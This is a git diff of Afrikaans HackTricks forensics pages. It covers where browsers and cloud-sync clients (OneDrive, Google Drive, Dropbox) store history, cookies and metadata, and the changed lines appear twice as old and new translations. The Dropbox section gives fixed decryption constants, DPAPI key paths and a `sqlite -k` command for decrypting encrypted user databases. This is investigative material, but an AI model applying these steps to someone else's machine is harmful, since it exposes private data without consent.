- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai-sessie en oop lappe.
|
||||
- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief tydens die laaste sessie voor Chrome gesluit is.
|
||||
- **Uitbreidings**: Gids vir blaaieruitbreidings en byvoegings.
|
||||
- **Duimnaels**: Stoor webwerf duimnaels.
|
||||
- **Voorkeure**: 'n Lêer ryk aan inligting, insluitend instellings vir plugins, uitbreidings, pop-ups, kennisgewings, en meer.
|
||||
- **Blaaier se ingeboude anti-phishing**: Om te kyk of anti-phishing en malware beskerming geaktiveer is, voer `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` uit. Kyk vir `{"enabled: true,"}` in die uitset.
|
||||
|
||||
- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of teen-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"enabled: true,"}` in die uitset.
|
||||
|
||||
## **SQLite DB Data Herwinning**
|
||||
|
||||
Soos waargeneem kan word in die vorige afdelings, gebruik beide Chrome en Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herwin met behulp van die instrumente** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
Soos waargeneem kan word in die vorige afdelings, gebruik beide Chrome en Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herwin met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 bestuur sy data en metadata oor verskillende liggings, wat help om gestoorde inligting en die ooreenstemmende besonderhede te skei vir maklike toegang en bestuur.
|
||||
Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoorde inligting en die ooreenstemmende besonderhede maklik toeganklik en bestuurbaar te maak.
|
||||
|
||||
### Metadata Berging
|
||||
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee, kan die `V01.log` lêer wysigingstyd afwykings met `WebcacheVX.data` toon, wat dui op 'n behoefte vir herstel met behulp van `esentutl /r V01 /d`. Hierdie metadata, wat in 'n ESE databasis gehuisves word, kan herwin en ondersoek word met behulp van instrumente soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) onderskeidelik. Binne die **Containers** tabel, kan 'n mens die spesifieke tabelle of houers waar elke data segment gestoor word, onderskei, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
|
||||
|
||||
Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuis in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
|
||||
|
||||
### Cache Inspeksie
|
||||
Die [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) instrument maak dit moontlik om die cache te inspekteer, met die vereiste van die cache data onttrekkingsgids. Metadata vir die cache sluit lêernaam, gids, toegangstellings, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
|
||||
|
||||
Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak cache inspeksie moontlik, wat die lokasie van die cache data-ekstraksie vouer vereis. Metadata vir die cache sluit lêernaam, gids, toegangstelling, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui.
|
||||
|
||||
### Koekies Bestuur
|
||||
Koekies kan ondersoek word met behulp van [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegangstellings, en verskeie tydverwante besonderhede insluit. Volgehoue koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in die geheue bly.
|
||||
|
||||
Koekies kan ondersoek word met [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegangstellings, en verskeie tydverwante besonderhede insluit. Volgehoue koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in die geheue bly.
|
||||
|
||||
### Aflaaibesonderhede
|
||||
Aflaaibesonderhede is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), met spesifieke houers wat data soos URL, lêertipe, en aflaaigids bevat. Fisiese lêers kan gevind word onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
Aflaaibesonderhede is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), met spesifieke houers wat data soos URL, lêertipe, en aflaaiplek hou. Fisiese lêers kan gevind word onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Blaai Geskiedenis
|
||||
Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gebruik word, met die vereiste van die ligging van die uitgepakte geskiedenis lêers en konfigurasie vir Internet Explorer. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
Om blaai-geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die uitgepakte geskiedenis lêers en konfigurasie vir Internet Explorer vereis. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### Getikte URL's
|
||||
Getikte URL's en hul gebruikstye word binne die register gestoor onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime`, wat die laaste 50 URL's wat deur die gebruiker ingevoer is en hul laaste inset tye volg.
|
||||
|
||||
Getikte URL's en hul gebruikstye word binne die register gestoor onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime`, wat die laaste 50 URL's aangedui deur die gebruiker en hul laaste insettye volg.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskillende datatipes is:
|
||||
Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskeie datatipes is:
|
||||
|
||||
- **Profiel Pad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **Geskiedenis, Koekies, en Aflaaibestande**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Profiel Paaie**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **Geskiedenis, Koekies, en Aflaaie**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Instellings, Bladmerke, en Leeslys**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Laaste Aktiewe Sessies**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
@ -158,11 +156,23 @@ Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. D
|
|||
Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutellêers sluit in:
|
||||
|
||||
- **History.db**: Bevat `history_visits` en `history_items` tabelle met URL's en besoek tydstempels. Gebruik `sqlite3` om navrae te doen.
|
||||
- **Downloads.plist**: Inligting oor afgelaai lêers.
|
||||
- **Bookmarks.plist**: Stoor gebl
|
||||
- **Downloads.plist**: Inligting oor afgelaaide lêers.
|
||||
- **Bookmarks.plist**: Berg gebladmerkte URL's.
|
||||
- **TopSites.plist**: Mees besoekte webwerwe.
|
||||
- **Extensions.plist**: Lys van Safari blaaieruitbreidings. Gebruik `plutil` of `pluginkit` om te herwin.
|
||||
- **UserNotificationPermissions.plist**: Domeine toegelaat om kennisgewings te stuur. Gebruik `plutil` om te ontled.
|
||||
- **LastSession.plist**: Lappe van die laaste sessie. Gebruik `plutil` om te ontled.
|
||||
- **Blaaier se ingeboude teen-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui aan dat die funksie aktief is.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera se data bly in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` en deel Chrome se formaat vir geskiedenis en aflaaie.
|
||||
|
||||
- **Blaaier se ingeboude teen-phishing**: Verifieer deur te kyk of `fraud_protection_enabled` in die Voorkeure lêer op `true` gestel is met `grep`.
|
||||
|
||||
Hierdie paaie en opdragte is noodsaaklik vir die toegang tot en begrip van die blaai data gestoor deur verskillende webblaaier.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
|
|
@ -1,72 +1,72 @@
|
|||
# Plaaslike Wolklêerstoor
|
||||
# Plaaslike Skyfberging
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## OneDrive
|
||||
|
||||
In Windows kan jy die OneDrive-vouer vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat interessante data bevat oor die gesinkroniseerde lêers:
|
||||
In Windows kan jy die OneDrive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat sekere interessante data bevat rakende die gesinchroniseerde lêers:
|
||||
|
||||
* Grootte in bytes
|
||||
* Skeppingsdatum
|
||||
* Wysigingsdatum
|
||||
* Aantal lêers in die wolk
|
||||
* Aantal lêers in die vouer
|
||||
* Aantal lêers in die folder
|
||||
* **CID**: Unieke ID van die OneDrive-gebruiker
|
||||
* Verslaggenereringstyd
|
||||
* Grootte van die bedryfstelsel se harde skyf
|
||||
* Grootte van die HD van die OS
|
||||
|
||||
Nadat jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy kan lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat, soos die name van lêers wat met OneDrive gesinkroniseer is.
|
||||
Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\<CID>.ini**_ en _**\<CID>.dat**_ wat interessante inligting kan bevat soos die name van lêers wat met OneDrive gesinchroniseer is.
|
||||
|
||||
## Google Drive
|
||||
|
||||
In Windows kan jy die hoof Google Drive-vouer vind in `\Users\<gebruikersnaam>\AppData\Local\Google\Drive\user_default`\
|
||||
Hierdie vouer bevat 'n lêer genaamd Sync\_log.log met inligting soos die e-posadres van die rekening, lêernaam, tydstempels, MD5-hashes van die lêers, ens. Selfs uitgevee lêers verskyn in daardie loglêer met die ooreenstemmende MD5.
|
||||
In Windows kan jy die hoof Google Drive-folder vind in `\Users\<gebruikersnaam>\AppData\Local\Google\Drive\user_default`\
|
||||
Hierdie folder bevat 'n lêer genaamd Sync\_log.log met inligting soos die e-posadres van die rekening, lêernaam, tydstempels, MD5-hashes van die lêers, ens. Selfs verwyderde lêers verskyn in daardie log-lêer met die ooreenstemmende MD5.
|
||||
|
||||
Die lêer **`Cloud_graph\Cloud_graph.db`** is 'n sqlite-databasis wat die tabel **`cloud_graph_entry`** bevat. In hierdie tabel kan jy die **naam** van die **gesinkroniseerde** **lêers**, gewysigde tyd, grootte en die MD5-kontrolegetal van die lêers vind.
|
||||
Die lêer **`Cloud_graph\Cloud_graph.db`** is 'n sqlite-databasis wat die tabel **`cloud_graph_entry`** bevat. In hierdie tabel kan jy die **naam** van die **gesinchroniseerde** **lêers**, gewysigde tyd, grootte, en die MD5-kontrolesom van die lêers vind.
|
||||
|
||||
Die tabeldata van die databasis **`Sync_config.db`** bevat die e-posadres van die rekening, die pad van die gedeelde vouers en die Google Drive-weergawe.
|
||||
Die tabeldata van die databasis **`Sync_config.db`** bevat die e-posadres van die rekening, die pad van die gedeelde lêers en die Google Drive-weergawe.
|
||||
|
||||
## Dropbox
|
||||
|
||||
Dropbox gebruik **SQLite-databasisse** om die lêers te bestuur. In hierdie\
|
||||
Jy kan die databasisse in die volgende vouers vind:
|
||||
Dropbox gebruik **SQLite-databasisse** om die lêers te bestuur. Hierdie\
|
||||
Jy kan die databasisse vind in die folders:
|
||||
|
||||
* `\Users\<gebruikersnaam>\AppData\Local\Dropbox`
|
||||
* `\Users\<gebruikersnaam>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<gebruikersnaam>\AppData\Roaming\Dropbox`
|
||||
|
||||
En die belangrikste databasisse is:
|
||||
En die hoofdatabasisse is:
|
||||
|
||||
* Sigstore.dbx
|
||||
* Filecache.dbx
|
||||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
Die ".dbx"-uitbreiding beteken dat die **databasisse** **gekripteer** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
Die ".dbx"-uitbreiding beteken dat die **databasisse** **versleutel** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
|
||||
Om die kriptering wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
Om die versleuteling wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||
|
||||
Die belangrikste inligting is egter:
|
||||
Nietemin, die hoofinligting is:
|
||||
|
||||
* **Entropie**: d114a55212655f74bd772e37e64aee9b
|
||||
* **Sout**: 0D638C092E8B82FC452883F95F355B8E
|
||||
|
@ -75,62 +75,62 @@ Die belangrikste inligting is egter:
|
|||
|
||||
Afgesien van daardie inligting, om die databasisse te ontsluit, het jy steeds nodig:
|
||||
|
||||
* Die **gekripteerde DPAPI-sleutel**: Jy kan dit in die register vind binne `NTUSER.DAT\Software\Dropbox\ks\client` (voer hierdie data uit as binêr)
|
||||
* Die **versleutelde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr)
|
||||
* Die **`SYSTEM`** en **`SECURITY`**-bytjies
|
||||
* Die **DPAPI-hoofsleutels**: Wat gevind kan word in `\Users\<gebruikersnaam>\AppData\Roaming\Microsoft\Protect`
|
||||
* Die **DPAPI-meestersleutels**: Wat gevind kan word in `\Users\<gebruikersnaam>\AppData\Roaming\Microsoft\Protect`
|
||||
* Die **gebruikersnaam** en **wagwoord** van die Windows-gebruiker
|
||||
|
||||
Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** gebruik:**
|
||||
Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||
|
||||
.png>)
|
||||
|
||||
As alles soos verwag verloop, sal die instrument die **primêre sleutel** aandui wat jy moet **gebruik om die oorspronklike sleutel te herstel**. Om die oorspronklike sleutel te herstel, gebruik jy net hierdie [cyber\_chef-resep](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) en plaas die primêre sleutel as die "wagwoord" binne die resep.
|
||||
As alles soos verwag verloop, sal die instrument die **hoofleutel** aandui wat jy nodig het om die oorspronklike een te **herstel**. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die hoofleutel as die "wagwoord" binne die kwitansie te plaas.
|
||||
|
||||
Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te kripteer, wat ontsluit kan word met:
|
||||
Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te versleutel wat ontsluit kan word met:
|
||||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
Die **`config.dbx`** databasis bevat:
|
||||
|
||||
* **E-pos**: Die e-pos van die gebruiker
|
||||
* **usernamedisplayname**: Die naam van die gebruiker
|
||||
* **dropbox\_path**: Pad waar die Dropbox-lys geleë is
|
||||
* **Host\_id: Hash** wat gebruik word om te verifieer by die wolk. Dit kan slegs vanaf die web herroep word.
|
||||
* **Root\_ns**: Gebruikersidentifiseerder
|
||||
- **E-pos**: Die e-pos van die gebruiker
|
||||
- **usernamedisplayname**: Die naam van die gebruiker
|
||||
- **dropbox\_path**: Pad waar die Dropbox vouer geleë is
|
||||
- **Host\_id: Hash** wat gebruik word om na die wolk te verifieer. Dit kan slegs van die web af herroep word.
|
||||
- **Root\_ns**: Gebruiker-identifiseerder
|
||||
|
||||
Die **`filecache.db`** databasis bevat inligting oor al die lêers en vouers wat met Dropbox gesinchroniseer is. Die tabel `File_journal` bevat die meeste nuttige inligting:
|
||||
Die **`filecache.db`** databasis bevat inligting oor al die lêers en vouers wat met Dropbox gesinkroniseer is. Die tabel `File_journal` is die een met die meeste nuttige inligting:
|
||||
|
||||
* **Server\_path**: Pad waar die lêer binne die bediener geleë is (hierdie pad word voorafgegaan deur die `host_id` van die kliënt).
|
||||
* **local\_sjid**: Weergawe van die lêer
|
||||
* **local\_mtime**: Wysigingsdatum
|
||||
* **local\_ctime**: Skeppingsdatum
|
||||
- **Server\_path**: Pad waar die lêer binne die bediener geleë is (hierdie pad word voorafgegaan deur die `host_id` van die klient).
|
||||
- **local\_sjid**: Weergawe van die lêer
|
||||
- **local\_mtime**: Wysigingsdatum
|
||||
- **local\_ctime**: Skeppingsdatum
|
||||
|
||||
Ander tabelle binne hierdie databasis bevat meer interessante inligting:
|
||||
|
||||
* **block\_cache**: hash van al die lêers en vouers van Dropbox
|
||||
* **block\_ref**: Verbind die hash-ID van die tabel `block_cache` met die lêer-ID in die tabel `file_journal`
|
||||
* **mount\_table**: Deel vouers van Dropbox
|
||||
* **deleted\_fields**: Dropbox verwyderde lêers
|
||||
* **date\_added**
|
||||
- **block\_cache**: hasj van al die lêers en vouers van Dropbox
|
||||
- **block\_ref**: Verband die hasj-ID van die tabel `block_cache` met die lêer-ID in die tabel `file_journal`
|
||||
- **mount\_table**: Deel vouers van Dropbox
|
||||
- **deleted\_fields**: Dropbox verwyderde lêers
|
||||
- **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.\
|
||||
Kry vandag toegang:
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
- As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
- Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
- Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,45 +1,45 @@
|
|||
# Kantoorlêer-ontleding
|
||||
# Kantoorlêerontleding
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
